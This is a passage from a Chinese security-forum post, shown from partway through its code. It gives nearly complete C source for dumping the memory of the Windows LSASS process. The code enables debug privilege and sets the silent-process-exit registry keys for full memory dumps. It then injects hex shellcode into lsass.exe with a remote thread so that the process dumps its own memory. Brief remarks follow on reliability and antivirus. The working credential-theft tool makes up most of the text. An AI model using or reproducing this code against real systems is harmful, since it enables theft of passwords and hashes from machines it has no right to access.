<span class=hljs-built_in>printf</span>(<span class=hljs-string>" - 获取当前进程Token失败 %#X\n"</span>, <span class=hljs-built_in>GetLastError</span>());
<span class=hljs-keyword>return</span> FALSE;
}
<span class=hljs-keyword>if</span> (!<span class=hljs-built_in>LookupPrivilegeValue</span>(<span class=hljs-literal>NULL</span>, SE_DEBUG_NAME, &amp;luid)) {
<span class=hljs-built_in>printf</span>(<span class=hljs-string>" - Lookup SE_DEBUG_NAME失败 %#X\n"</span>, <span class=hljs-built_in>GetLastError</span>());
<span class=hljs-keyword>return</span> FALSE;
}
TOKEN_PRIVILEGES tokenPriv;
tokenPriv.PrivilegeCount = <span class=hljs-number>1</span>;
tokenPriv.Privileges[<span class=hljs-number>0</span>].Luid = luid;
tokenPriv.Privileges[<span class=hljs-number>0</span>].Attributes = SE_PRIVILEGE_ENABLED;
<span class=hljs-keyword>if</span> (!<span class=hljs-built_in>AdjustTokenPrivileges</span>(hToken, FALSE, &amp;tokenPriv, <span class=hljs-built_in><span class=hljs-keyword>sizeof</span></span>(tokenPriv), <span class=hljs-literal>NULL</span>, <span class=hljs-literal>NULL</span>)) {
<span class=hljs-built_in>printf</span>(<span class=hljs-string>" - AdjustTokenPrivileges 失败: %#X\n"</span>, <span class=hljs-built_in>GetLastError</span>());
<span class=hljs-keyword>return</span> FALSE;
}
<span class=hljs-keyword>return</span> TRUE;
}
<span class=hljs-function>BOOL <span class=hljs-title>setRelatedRegs</span><span class=hljs-params>(PCWCHAR procName)</span> </span>{
HKEY hkResSubIFEO = <span class=hljs-literal>NULL</span>;
HKEY hkResSubSPE = <span class=hljs-literal>NULL</span>;
DWORD globalFlag = FLG_MONITOR_SILENT_PROCESS_EXIT;
DWORD reportingMode = MiniDumpWithFullMemory;
DWORD dumpType = LOCAL_DUMP, retstatus = <span class=hljs-number>-1</span>;
BOOL ret = FALSE;
<span class=hljs-keyword>if</span> (ERROR_SUCCESS != (retstatus = <span class=hljs-built_in>RegCreateKey</span>(HKEY_LOCAL_MACHINE, IFEO_REG_KEY, &amp;hkResSubIFEO))) {
<span class=hljs-built_in>printf</span>(<span class=hljs-string>" - 打开注册表项 Image_File_Execution_Options 失败: %#X\n"</span>, <span class=hljs-built_in>GetLastError</span>());
<span class=hljs-keyword>return</span> <span class=hljs-number>-1</span>;
}
<span class=hljs-keyword>if</span> (ERROR_SUCCESS != (retstatus = <span class=hljs-built_in>RegSetValueEx</span>(hkResSubIFEO, <span class=hljs-string>L"GlobalFlag"</span>, <span class=hljs-number>0</span>, REG_DWORD, (<span class=hljs-keyword>const</span> BYTE*)&amp;globalFlag, <span class=hljs-built_in><span class=hljs-keyword>sizeof</span></span>(globalFlag)))) {
<span class=hljs-built_in>printf</span>(<span class=hljs-string>" - 设置注册表键 GlobalFlag 键值失败: %#X\n"</span>, <span class=hljs-built_in>GetLastError</span>());
<span class=hljs-keyword>return</span> <span class=hljs-number>-1</span>;
}
<span class=hljs-keyword>if</span> (ERROR_SUCCESS != (retstatus = <span class=hljs-built_in>RegCreateKey</span>(HKEY_LOCAL_MACHINE, SILENT_PROCESS_EXIT_REG_KEY, &amp;hkResSubSPE))) {
<span class=hljs-built_in>printf</span>(<span class=hljs-string>" - 打开注册表项 SilentProcessExit 失败: %#X\n"</span>, <span class=hljs-built_in>GetLastError</span>());
<span class=hljs-keyword>return</span> <span class=hljs-number>-1</span>;
}
<span class=hljs-keyword>if</span> (ERROR_SUCCESS != (retstatus = <span class=hljs-built_in>RegSetValueEx</span>(hkResSubSPE, <span class=hljs-string>L"ReportingMode"</span>, <span class=hljs-number>0</span>, REG_DWORD, (<span class=hljs-keyword>const</span> BYTE*)&amp;reportingMode, <span class=hljs-built_in><span class=hljs-keyword>sizeof</span></span>(reportingMode)))
|| ERROR_SUCCESS != (retstatus = <span class=hljs-built_in>RegSetValueEx</span>(hkResSubSPE, <span class=hljs-string>L"LocalDumpFolder"</span>, <span class=hljs-number>0</span>, REG_SZ, (<span class=hljs-keyword>const</span> BYTE*)DUMP_FOLDER, <span class=hljs-built_in>lstrlenW</span>(DUMP_FOLDER) * <span class=hljs-number>2</span>))
|| ERROR_SUCCESS != (retstatus = <span class=hljs-built_in>RegSetValueEx</span>(hkResSubSPE, <span class=hljs-string>L"DumpType"</span>, <span class=hljs-number>0</span>, REG_DWORD, (<span class=hljs-keyword>const</span> BYTE*)&amp;dumpType, <span class=hljs-built_in><span class=hljs-keyword>sizeof</span></span>(dumpType)))) {
<span class=hljs-built_in>printf</span>(<span class=hljs-string>" - 设置注册表键 reportingMode|LocalDumpFolder|DumpType 键值失败: %#X\n"</span>, <span class=hljs-built_in>GetLastError</span>());
<span class=hljs-keyword>return</span> <span class=hljs-number>-1</span>;
}
<span class=hljs-built_in>printf</span>(<span class=hljs-string>"[+]注册表设置完成 ...\n"</span>);
ret = TRUE;
<span class=hljs-keyword>if</span> (hkResSubIFEO)
<span class=hljs-built_in>CloseHandle</span>(hkResSubIFEO);
<span class=hljs-keyword>if</span> (hkResSubSPE)
<span class=hljs-built_in>CloseHandle</span>(hkResSubSPE);
<span class=hljs-keyword>return</span> ret;
}
<span class=hljs-function>DWORD <span class=hljs-title>getPidByName</span><span class=hljs-params>(PCWCHAR procName)</span> </span>{
HANDLE hProcSnapshot;
DWORD retPid = <span class=hljs-number>-1</span>;
hProcSnapshot = <span class=hljs-built_in>CreateToolhelp32Snapshot</span>(TH32CS_SNAPPROCESS, <span class=hljs-number>0</span>);
PROCESSENTRY32W pe;
<span class=hljs-keyword>if</span> (INVALID_HANDLE_VALUE == hProcSnapshot) {
<span class=hljs-built_in>printf</span>(<span class=hljs-string>" - 创建快照失败!\n"</span>);
<span class=hljs-keyword>return</span> <span class=hljs-number>-1</span>;
}
pe.dwSize = <span class=hljs-built_in><span class=hljs-keyword>sizeof</span></span>(PROCESSENTRY32W);
<span class=hljs-keyword>if</span> (!<span class=hljs-built_in>Process32First</span>(hProcSnapshot, &amp;pe)) {
<span class=hljs-built_in>printf</span>(<span class=hljs-string>" - Process32First Error : %#X\n"</span>, <span class=hljs-built_in>GetLastError</span>());
<span class=hljs-keyword>return</span> <span class=hljs-number>-1</span>;
}
<span class=hljs-keyword>do</span> {
<span class=hljs-keyword>if</span> (!<span class=hljs-built_in>lstrcmpiW</span>(procName, <span class=hljs-built_in>PathFindFileName</span>(pe.szExeFile))) {
retPid = pe.th32ProcessID;
}
} <span class=hljs-keyword>while</span> (<span class=hljs-built_in>Process32Next</span>(hProcSnapshot, &amp;pe));
<span class=hljs-built_in>CloseHandle</span>(hProcSnapshot);
<span class=hljs-keyword>return</span> retPid;
}
<span class=hljs-function><span class=hljs-keyword>typedef</span> <span class=hljs-title>NTSTATUS</span><span class=hljs-params>(NTAPI* fRtlReportSilentProcessExit)</span><span class=hljs-params>(
HANDLE processHandle,
NTSTATUS ExitStatus
)</span></span>;
<span class=hljs-keyword>typedef</span> <span class=hljs-class><span class=hljs-keyword>struct</span> _<span class=hljs-title>RtlReportSilentProcessExitParam</span> {</span>
HANDLE GCP;
FARPROC dwRtlReportSilentProcessExit;
} RtlReportSilentProcessExitParam;
<span class=hljs-function>DWORD WINAPI <span class=hljs-title>ThreadProc</span><span class=hljs-params>(LPVOID lpParameter)</span> </span>{
fRtlReportSilentProcessExit RtlReportSilentProcessExit;
RtlReportSilentProcessExitParam* pRP = (RtlReportSilentProcessExitParam*)lpParameter;
RtlReportSilentProcessExit = (fRtlReportSilentProcessExit)pRP-&gt;dwRtlReportSilentProcessExit;
<span class=hljs-built_in>RtlReportSilentProcessExit</span>(pRP-&gt;GCP, <span class=hljs-number>0</span>);
<span class=hljs-keyword>return</span> <span class=hljs-number>0</span>;
}
<span class=hljs-function>INT <span class=hljs-title>main</span><span class=hljs-params>()</span> </span>{
NTSTATUS ntStatus = <span class=hljs-number>-1</span>;
HMODULE hNtMod = <span class=hljs-literal>NULL</span>;
PCWCHAR targetProcName = <span class=hljs-string>L"lsass.exe"</span>;
DWORD pid = <span class=hljs-number>-1</span>;
HANDLE hLsassProc = <span class=hljs-literal>NULL</span>;
DWORD dwSize = <span class=hljs-number>4096</span>;
<span class=hljs-keyword>char</span> sc[] = <span class=hljs-string>"\x65\x48\x8B\x14\x25\x60\x00\x00\x00\x48\x8B\x5A\x18\x48\x8B\x73\x28\x48\x8B\x36\x48\x8B\x36\x48\x8B\x36\x48\x8B\x5E\x20\x8B\x53\x3C\x48\x03\xD3\x8B\x92\x88\x00\x00\x00\x48\x03\xD3\x8B\x72\x20\x48\x03\xF3\x48\x33\xC9\x48\xFF\xC1\xAD\x48\x03\xC3\x81\x38\x52\x74\x6C\x52\x75\xF1\x81\x78\x04\x65\x70\x6F\x72\x75\xE8\x81\x78\x08\x74\x53\x69\x6C\x75\xDF\x8B\x72\x24\x48\x03\xF3\x66\x8B\x0C\x4E\x48\xFF\xC9\x8B\x72\x1C\x48\x03\xF3\x8B\x14\x8E\x48\x03\xD3\x48\x8B\xDA\x48\xC7\xC1\xFF\xFF\xFF\xFF\x48\xC7\xC2\x00\x00\x00\x00\xFF\xD3\xC3"</span>;
<span class=hljs-keyword>if</span> (!<span class=hljs-built_in>EnableDebugPriv</span>()) {
<span class=hljs-built_in>printf</span>(<span class=hljs-string>" - 启用当前进程DEBUG权限失败: %#X\n"</span>, <span class=hljs-built_in>GetLastError</span>());
<span class=hljs-keyword>return</span> <span class=hljs-number>1</span>;
}
<span class=hljs-built_in>printf</span>(<span class=hljs-string>"[+]启用当前进程DEBUG权限 OK\n"</span>);
<span class=hljs-keyword>if</span> (!<span class=hljs-built_in>setRelatedRegs</span>(targetProcName)) {
<span class=hljs-built_in>printf</span>(<span class=hljs-string>" - 设置相关注册表键值失败: %#X\n"</span>, <span class=hljs-built_in>GetLastError</span>());
<span class=hljs-keyword>return</span> <span class=hljs-number>1</span>;
}
<span class=hljs-built_in>printf</span>(<span class=hljs-string>"[+]设置相关注册表键值 OK\n"</span>);
pid = <span class=hljs-built_in>getPidByName</span>(targetProcName);
<span class=hljs-keyword>if</span> (<span class=hljs-number>-1</span> == pid) {
<span class=hljs-built_in>printf</span>(<span class=hljs-string>" - 获取目标进程pid: %#X\n"</span>, pid);
<span class=hljs-keyword>return</span> <span class=hljs-number>1</span>;
}
<span class=hljs-built_in>printf</span>(<span class=hljs-string>"[+]获取目标PID: %#X\n"</span>, pid);
hLsassProc = <span class=hljs-built_in>OpenProcess</span>(PROCESS_ALL_ACCESS, <span class=hljs-number>0</span>, pid);
<span class=hljs-keyword>if</span> (!hLsassProc) {
<span class=hljs-built_in>printf</span>(<span class=hljs-string>" - 获取lsass进程句柄失败: %#X\n"</span>, <span class=hljs-built_in>GetLastError</span>());
<span class=hljs-keyword>return</span> <span class=hljs-number>-1</span>;
}
<span class=hljs-built_in>printf</span>(<span class=hljs-string>"[+]获取lsass进程句柄: %#X\n"</span>, (DWORD)hLsassProc);
LPVOID base_address = <span class=hljs-built_in>VirtualAllocEx</span>(hLsassProc, <span class=hljs-number>0</span>, <span class=hljs-built_in><span class=hljs-keyword>sizeof</span></span>(sc), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
<span class=hljs-keyword>if</span> (base_address == <span class=hljs-number>0</span>) {
<span class=hljs-built_in>printf</span>(<span class=hljs-string>"[-]获取地址失败 ERRORCODE: %d"</span>, <span class=hljs-built_in>GetLastError</span>());
<span class=hljs-keyword>return</span> <span class=hljs-number>-1</span>;
}
<span class=hljs-built_in>printf</span>(<span class=hljs-string>"[+]获取地址成功: %p\n"</span>, base_address);
BOOL res = <span class=hljs-built_in>WriteProcessMemory</span>(hLsassProc, base_address, &amp;sc, <span class=hljs-built_in><span class=hljs-keyword>sizeof</span></span>(sc), <span class=hljs-number>0</span>);
<span class=hljs-keyword>if</span> (!res) {
<span class=hljs-built_in>printf</span>(<span class=hljs-string>"[-]写入函数失败\n"</span>);
<span class=hljs-keyword>return</span> <span class=hljs-number>-1</span>;
}
<span class=hljs-built_in>printf</span>(<span class=hljs-string>"[+]写入函数成功\n[+]function_address: %p\n"</span>, base_address);
DWORD ID;
HANDLE ThreadHandle = <span class=hljs-built_in>CreateRemoteThread</span>(hLsassProc, <span class=hljs-literal>NULL</span>, <span class=hljs-number>0</span>, (LPTHREAD_START_ROUTINE)base_address, <span class=hljs-number>0</span>, CREATE_SUSPENDED, &amp;ID);
<span class=hljs-keyword>if</span> (ThreadHandle) {
<span class=hljs-built_in>printf</span>(<span class=hljs-string>"[+]ThreadInject Success\n"</span>);
<span class=hljs-built_in>ResumeThread</span>(ThreadHandle);
}
<span class=hljs-built_in>printf</span>(<span class=hljs-string>"[+]dump文件在c:\\windows\\temp\\lsass-*\\"</span>);
<span class=hljs-keyword>return</span> <span class=hljs-number>0</span>;
}
</code></pre>
<p blockindex=44>这样就可以用了,线程注入需要写入注册表后重启电脑才可以使用,虽然dump出的内存文件只有LSASS.EXE,很明显没有外部调用稳定</p>
<p blockindex=45>还有杀软强一点可能就不能注入了</p>
<p blockindex=46>这篇文章主要还是记一下过程,各位师傅真的要用还是用外部调用吧</p>
<h2 blockindex=47>0x04 资料</h2>
<p blockindex=48><a href="https://mp.weixin.qq.com/s?__biz=MzA5ODA0NDE2MA==&amp;mid=2649751822&amp;idx=3&amp;sn=d8a0d685152418e7b8a6abf532365aa2&amp;chksm=88933161bfe4b87759a0483aeb25c6bc82d098b7d98209b6cd482b3c5bd845aec349df30ae57#rd">https://mp.weixin.qq.com/s?__biz=MzA5ODA0NDE2MA==&amp;mid=2649751822&amp;idx=3&amp;sn=d8a0d685152418e7b8a6abf532365aa2&amp;chksm=88933161bfe4b87759a0483aeb25c6bc82d098b7d98209b6cd482b3c5bd845aec349df30ae57#rd</a></p>
<p blockindex=49><a href=https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/registry-entries-for-silent-process-exit>https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/registry-entries-for-silent-process-exit</a></p>
<p blockindex=50><a href=https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/enable-silent-process-exit-monitoring>https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/enable-silent-process-exit-monitoring</a></p></div></div>
</div>
<div class="post-opt mt-30">
<ul class="list-inline text-muted">
<li>
<i class="fa fa-clock-o"></i>
发表于 2021-11-22 09:37:59
</li>
<li>阅读 ( 4716 )</li>
<li>分类:<a href=https://forum.butian.net/community/Sec_tools target=_blank rel="noopenner noreferrer">安全工具</a>
</li>
</ul>
</div>
</div>
<div class="text-center mt-30 mb-20">
<button id=support-button class="btn btn-success btn-lg mr-5" data-loading-text=加载中... data-source_type=community data-source_id=887 data-support_num=2> 2 推荐</button>
<button id=collect-button class="btn btn-default btn-lg" data-loading-text=加载中... data-source_type=community data-source_id=887> 收藏</button>
</div>
</div>
<div class="widget-answers mt-15">
<h2 class="h4 post-title">0 条评论</h2>
<div class=comment>
</div>
<div class="widget-comment-form row mt-20 mb-20">
<div class=col-md-12>
请先 <a class=a_unLogin href=https://forum.butian.net/login>登录</a> 后评论
</div>
</div>
<div class=text-center>
</div>
</div>
</div>
</div>
</div>
</div>
<footer id=footer>
<div class=container>
<div class=text-center>
<a href=https://forum.butian.net/>奇安信攻防社区</a><span class=span-line>|</span>
<a href=mailto:[email protected] target=_blank rel="noopenner noreferrer">联系我们</a><span class=span-line>|</span>
<a href=https://forum.butian.net/sitemap>sitemap</a>
</div>
<div class="copyright mt-10">
Copyright © 2013-2023 BUTIAN.NET 版权所有 <a href=https://beian.miit.gov.cn/#/Integrated/index>京ICP备18014330号-2</a>
</div>
</div>
</footer>
<div class="modal fade sf-hidden" id=sendTo_message_model tabindex=-1 role=dialog aria-labelledby=exampleModalLabel>
</div>
<div class="modal fade sf-hidden" id=send_report_model role=dialog aria-labelledby=exampleModalLabel>
</div> <div class="modal fade in sf-hidden" id=payment-qrcode-modal-article-887 tabindex=-1 role aria-labelledby=exampleModalLabel aria-hidden=false>
</div>
<div style="display:none;position:fixed;top:40%;left:50%;z-index:9999;transform:translate(-50%,-50%);padding:3px 15px;border-radius:8px;background:rgba(120,120,120,0.7);box-shadow:1px 1px 3px 1px rgba(160,160,160,0.6);text-align:center;font-size:12px;color:#fff"></div><div id=windowLoading class="modal fade sf-hidden" tabindex=-1 role=dialog>
</div>
<span id=cnzz_stat_icon_1279782571></span>
<div class="geetest_panel geetest_wind" style=display:none></div>